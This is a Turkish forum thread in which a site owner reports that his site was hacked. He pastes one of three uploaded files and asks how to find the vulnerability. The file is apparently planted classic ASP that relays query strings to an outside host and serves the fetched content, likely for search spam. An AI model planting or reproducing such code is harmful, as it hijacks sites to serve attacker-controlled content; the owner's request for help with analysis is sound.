Web Site Acıkları.

s.a Arkadaşlar Sitem Hecklendi. Siteme 3 adet dosya yuklenmiş bunlardan iki tanesini alal acele sildim. 1 tanesini silerken aklıma geldi sitemin acığını bulmak için onu silmeden kaydettim
içeriği==>
<%
if(len(Trim(Request.QueryString))>0) then
response.write GetResStr("http://b02.btobc20.com/54/"&Trim(Request.QueryString))
Response.End
end if
function GetResStr(URL)
Dim ResBody,ResStr,PageCode
Set Http=server.createobject("msxml2.serverxmlhttp.3.0")
Http.setTimeouts 60000, 60000, 60000, 60000
Http.open "GET",URL,False
Http.Send()
If Http.Readystate =4 Then
If Http.status=200 Then
ResStr=http.responseText
ResBody=http.responseBody
PageCode="utf-8"
GetResStr=BytesToBstr(http.responseBody,trim(PageCode))
End If
End If
End Function

Function BytesToBstr(Body,Cset)
Dim Objstream
Set Objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
%>

Arkadaşlar sitemde ki açığı nasıl tespit edebilirim?
Sitemi inceleyebilecek Açığı tahmin edebilecek Arkadaşlardan Yardım istiyorum..
lütfen Arkadaşlar Cok yardıma ihtiyacım var.. Danışabileceğim biri leri Yok. Yardımcı olucak Arkadaşa Cok dua edeceğim lütfen arakdaşlar Yardımlarınızı bekliyorum..

Birde site loglarıda var ordan tespit edebilir miyim.. bu işler nasıl oluyor Yardım lütfen.....
hekleyende çinli bir yer google aramalarında çin yazılı tıklamlar gercekleşmiş.. Daaa çinden nasıl bulmuşlar beniii

yardım edecek yok mu?

site adresini verirsen bakarız